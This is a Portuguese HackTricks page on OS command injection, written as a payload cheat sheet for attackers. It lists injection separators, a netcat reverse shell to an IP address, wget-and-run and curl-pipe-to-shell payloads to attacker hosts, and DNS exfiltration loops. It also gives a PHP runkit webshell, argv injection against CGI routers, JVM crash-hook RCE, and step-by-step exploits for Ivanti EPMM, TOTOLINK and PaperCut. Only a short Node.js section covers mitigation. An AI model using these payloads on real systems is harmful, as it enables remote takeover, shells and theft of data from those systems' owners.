Command Injection
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
O que é command Injection?
Uma command injection permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite que o atacante obtenha acesso ou controle não autorizado sobre o ambiente da aplicação e o sistema subjacente.
Contexto
Dependendo de onde sua entrada está sendo injetada pode ser necessário encerrar o contexto entre aspas (usando " ou ') antes dos comandos.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Mecanismos de regras PHP com runkit habilitado
Algumas aplicações implementam mecanismos de regras apenas para administradores ao executar PHP fornecido pelo atacante. Se o ambiente habilitar a extensão runkit, um atacante pode redefinir ou injetar funções em tempo de execução e escalar um editor de regras apenas lógico para PHP RCE completo.
Indicators:
- A interface de administração aceita “regras” no estilo PHP que são avaliadas.
runkit/runkit7está carregado (phpinfo()ouextension_loaded('runkit')).
Abuse example (redefine a function used by the rules to execute a command):
<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');
Se o conteúdo da regra for armazenado e avaliado mais tarde, ele se torna uma primitiva RCE persistente dentro do contexto web.
Limitação Bypasses
Se você está tentando executar arbitrary commands inside a linux machine você vai se interessar em ler sobre estes Bypasses:
Exemplos
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Avaliação aritmética do Bash em scripts RewriteMap/CGI-style
Helpers do RewriteMap escritos em bash às vezes colocam parâmetros de query em variáveis globais e depois os comparam em contextos aritméticos ([[ $a -gt $b ]], $((...)), let). A expansão aritmética re-tokeniza o conteúdo, então nomes de variáveis controladas pelo atacante ou referências a arrays são expandidas duas vezes e podem executar.
Padrão observado em Ivanti EPMM RewriteMap helpers:
- Parâmetros mapeiam para variáveis globais (
st→gStartTime,h→theValue). - Verificação posterior:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- Envie
st=theValuepara quegStartTimeaponte para a stringtheValue. - Envie
h=gPath['sleep 5']para quetheValuecontenha um índice de array; durante a verificação aritmética ele executasleep 5(substitua por um payload real).
Sonda (~5s de atraso e depois 404 se vulnerável):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
Notas:
- Procure o mesmo helper sob outros prefixos (por exemplo,
/mifs/c/aftstore/fob/). - Contextos aritméticos tratam tokens desconhecidos como identificadores de variável/array, então isso contorna filtros simples de metacaracteres.
Parâmetros
A seguir estão os 25 principais parâmetros que podem ser vulneráveis a code injection e a vulnerabilidades RCE semelhantes (de link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Extraindo dados: caractere por caractere
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
Exfiltração de dados baseada em DNS
Baseado na ferramenta disponível em https://github.com/HoLyVieR/dnsbin, também hospedada em dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Ferramentas online para verificar exfiltration de dados baseada em DNS:
- dnsbin.zhack.ca
- pingb.in
Bypass de filtragem
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Ao auditar back-ends JavaScript/TypeScript, você frequentemente encontrará a API Node.js child_process.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() cria uma shell (/bin/sh -c), portanto qualquer caractere que tenha um significado especial para a shell (back-ticks, ;, &&, |, $(), …) resultará em command injection quando a entrada do usuário for concatenada na string.
Mitigação: use execFile() (ou spawn() sem a opção shell) e forneça cada argumento como um elemento separado do array para que a shell não seja envolvida:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Nem todas as injeções requerem metacaracteres do shell. Se a aplicação passa strings não confiáveis como argumentos para uma ferramenta do sistema (mesmo com execve/execFile e sem shell), muitos programas ainda interpretarão qualquer argumento que comece com - ou -- como uma opção. Isso permite que um atacante mude modos, altere caminhos de saída ou acione comportamentos perigosos sem nunca entrar em um shell.
Locais típicos onde isso aparece:
- Embedded web UIs/CGI handlers que constroem comandos como
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, etc. - Centralized CGI routers (e.g.,
/cgi-bin/<something>.cgiwith a selector parameter liketopicurl=<handler>) onde múltiplos handlers reutilizam o mesmo validador fraco.
O que tentar:
- Forneça valores que comecem com
-/--para serem consumidos como flags pela ferramenta a jusante. - Abuse flags que mudam comportamento ou escrevem arquivos, por exemplo:
ping:-f/-c 100000para estressar o dispositivo (DoS)curl:-o /tmp/xpara escrever em caminhos arbitrários,-K <url>para carregar configuração controlada pelo atacantetcpdump:-G 1 -W 1 -z /path/script.shpara obter execução pós-rotate em wrappers inseguros
- Se o programa suporta
--(end-of-options), tente burlar mitigações ingênuas que adicionam--no lugar errado.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
Callbacks de diagnóstico do JVM para execução garantida
Qualquer primitiva que permita injetar argumentos de linha de comando do JVM (_JAVA_OPTIONS, arquivos de configuração do launcher, campos AdditionalJavaArguments em agentes desktop, etc.) pode ser transformada em um RCE confiável sem tocar no bytecode da aplicação:
- Forçar um crash determinístico reduzindo metaspace ou heap:
-XX:MaxMetaspaceSize=16m(ou um-Xmxmínimo). Isso garante umOutOfMemoryErrormesmo durante a bootstrap inicial. - Anexar um gancho de erro:
-XX:OnOutOfMemoryError="<cmd>"ou-XX:OnError="<cmd>"executa um comando arbitrário do sistema operacional sempre que a JVM abortar. - Opcionalmente adicione
-XX:+CrashOnOutOfMemoryErrorpara evitar tentativas de recuperação e manter o payload one-shot.
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Porque esses diagnósticos são analisados pelo próprio JVM, nenhum metacaractere de shell é necessário e o comando é executado com o mesmo nível de integridade do launcher. Bugs de Desktop IPC que encaminham flags JVM fornecidas pelo usuário (veja Localhost WebSocket abuse) portanto se traduzem diretamente em execução de comandos do OS.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Versões vulneráveis do NG/MF (p.ex., 22.0.5 Build 63914) expõem
/app?service=page/SetupCompleted; ao navegar até lá e clicar em Login é retornado umJSESSIONIDválido sem credenciais (authentication bypass no fluxo de setup). - Em Options → Config Editor, defina
print-and-device.script.enabled=Yeprint.script.sandboxed=Npara ativar printer scripting e desativar o sandbox. - Na aba da impressora Scripting, habilite o script e mantenha
printJobHookdefinido para evitar erros de validação, mas coloque o payload fora da função para que seja executado imediatamente quando você clicar em Apply (nenhum trabalho de impressão necessário):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- Troque o callback por um reverse shell; se a UI/PoC não consegue lidar com pipes/redirects, prepare um payload com um comando e execute-o com uma segunda requisição.
- O CVE-2023-27350.py do Horizon3 automatiza o auth bypass, config flips, command execution e rollback — execute-o através de um proxy upstream (por exemplo,
proxychains→ Squid) quando o serviço só estiver acessível internamente.
Brute-Force Detection List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
Referências
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- HTB: Gavel
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


